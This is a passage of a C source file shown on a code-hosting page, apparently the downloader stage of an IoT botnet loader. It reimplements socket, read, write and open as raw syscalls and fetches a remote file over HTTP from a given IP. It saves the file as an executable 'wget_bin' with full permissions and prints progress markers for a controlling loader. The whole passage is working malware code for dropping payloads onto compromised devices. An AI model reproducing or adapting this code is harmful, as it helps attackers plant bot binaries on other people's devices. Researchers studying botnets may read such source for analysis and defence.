| #error "Fix byteorder" | ||||
| #endif | ||||
|  | ||||
| #ifdef __ARM_EABI__ | ||||
| #define SCN(n) ((n) & 0xfffff) | ||||
| #else | ||||
| #define SCN(n) (n) | ||||
| #endif | ||||
|  | ||||
| /* stdlib calls */ | ||||
| int xsocket(int, int, int); | ||||
| int xwrite(int, void *, int); | ||||
| int xread(int, void *, int); | ||||
| int xconnect(int, struct sockaddr_in *, int); | ||||
| int xopen(char *, int, int); | ||||
| int xclose(int); | ||||
| void x__exit(int); | ||||
|  | ||||
| #define socket xsocket | ||||
| #define write xwrite | ||||
| #define read xread | ||||
| #define connect xconnect | ||||
| #define open xopen | ||||
| #define close xclose | ||||
| #define __exit x__exit | ||||
|  | ||||
| #ifdef DEBUG | ||||
| void xprintf(char *str) | ||||
| { | ||||
|     write(1, str, strlen(str)); | ||||
| } | ||||
| #define printf xprintf | ||||
| #endif | ||||
|  | ||||
| // wget ip_address remote_file host | ||||
| int main(int argc, char **args) | ||||
| { | ||||
|     char recvbuf[128]; | ||||
|     struct sockaddr_in addr; | ||||
|     int sfd, ffd; | ||||
|     unsigned int header_parser = 0; | ||||
|  | ||||
|     write(STDOUT, EXEC_MSG, EXEC_MSG_LEN); | ||||
|  | ||||
|     addr.sin_family = AF_INET; | ||||
|     addr.sin_port = HTONS(80); | ||||
|     addr.sin_addr.s_addr = inet_addr(args[1]); | ||||
|  | ||||
|     ffd = open("wget_bin", O_WRONLY | O_CREAT | O_TRUNC, 0777); | ||||
|     sfd = socket(AF_INET, SOCK_STREAM, 0); | ||||
|  | ||||
| #ifdef DEBUG | ||||
|     if (ffd == -1) | ||||
|         printf("Failed to open file!\n"); | ||||
|     if (sfd == -1) | ||||
|         printf("Failed to call socket()\n"); | ||||
| #endif | ||||
|  | ||||
|     if (sfd == -1 || ffd == -1) | ||||
|         __exit(1); | ||||
|  | ||||
|     if (connect(sfd, &addr, sizeof (struct sockaddr_in)) == -1) | ||||
|         __exit(2); | ||||
|  | ||||
|     write(sfd, "GET ", 4); | ||||
|     write(sfd, args[2], strlen(args[2])); | ||||
|     write(sfd, " HTTP/1.1\r\n", 11); | ||||
|     write(sfd, "Host: ", 6); | ||||
|     write(sfd, args[3], strlen(args[3])); | ||||
|     write(sfd, "\r\nConnection: close\r\n\r\n", 23); | ||||
|  | ||||
|     while (header_parser != 0x0d0a0d0a) | ||||
|     { | ||||
|         char ch; | ||||
|         int ret = read(sfd, &ch, 1); | ||||
|  | ||||
|         if (ret != 1) | ||||
|             __exit(4); | ||||
|         header_parser = (header_parser << 8) | ch; | ||||
|     } | ||||
| #ifdef DEBUG | ||||
|     printf("Finished receiving HTTP header\n"); | ||||
| #endif | ||||
|  | ||||
|     while (1) | ||||
|     { | ||||
|         int ret = read(sfd, recvbuf, sizeof (recvbuf)); | ||||
|  | ||||
|         if (ret <= 0) | ||||
|             break; | ||||
|         write(ffd, recvbuf, ret); | ||||
|     } | ||||
|  | ||||
|     close(sfd); | ||||
|     close(ffd); | ||||
|     write(STDOUT, DOWNLOAD_MSG, DOWNLOAD_MSG_LEN); | ||||
|     __exit(5); | ||||
| } | ||||
|  | ||||
| int xsocket(int domain, int type, int protocol) | ||||
| { | ||||
| #if !defined(__NR_socket) | ||||
|     struct { | ||||
|         int domain, type, protocol; | ||||
|     } socketcall; | ||||
|     socketcall.domain = domain; | ||||
|     socketcall.type = type; | ||||
|     socketcall.protocol = protocol; | ||||
|     return syscall(SCN(SYS_socketcall), 1 /* SYS_SOCKET */, &socketcall); | ||||
| #else | ||||
|     return syscall(SCN(SYS_socket), domain, type, protocol); | ||||
| #endif | ||||
| } | ||||
|  | ||||
| int xread(int fd, void *buf, int len) | ||||
| { | ||||
|     return syscall(SCN(SYS_read), fd, buf, len); | ||||
| } | ||||
|  | ||||
| int xwrite(int fd, void *buf, int len) | ||||
| { | ||||
|     return syscall(SCN(SYS_write), fd, buf, len); | ||||
| } | ||||
|  | ||||
| int xconnect(int fd, struct sockaddr_in *addr, int len) | ||||
| { | ||||
| #if !defined(__NR_socket) | ||||
|     struct { | ||||
|         int fd; | ||||
|         struct sockaddr_in *addr; | ||||
|         int len; | ||||
|     } socketcall; | ||||
|     socketcall.fd = fd; | ||||
|     socketcall.addr = addr; | ||||
|     socketcall.len = len; | ||||
|     return syscall(SCN(SYS_socketcall), 3 /* SYS_CONNECT */, &socketcall); | ||||
| #else | ||||
|     return syscall(SCN(SYS_connect), fd, addr, len); | ||||
| #endif | ||||
| } | ||||
|  | ||||
| int xopen(char *path, int flags, int other) | ||||
| { | ||||
|     return syscall(SCN(SYS_open), path, flags, other); | ||||
| } | ||||
|  | ||||
| int xclose(int fd) | ||||
| { | ||||
|     return syscall(SCN(SYS_close), fd); | ||||
| } | ||||
|  | ||||
| void x__exit(int code) | ||||
| { | ||||
|     syscall(SCN(SYS_exit), code); | ||||
| } | ||||
		Reference in New Issue
	
	Block a user
	 Jerry Gamblin
					Jerry Gamblin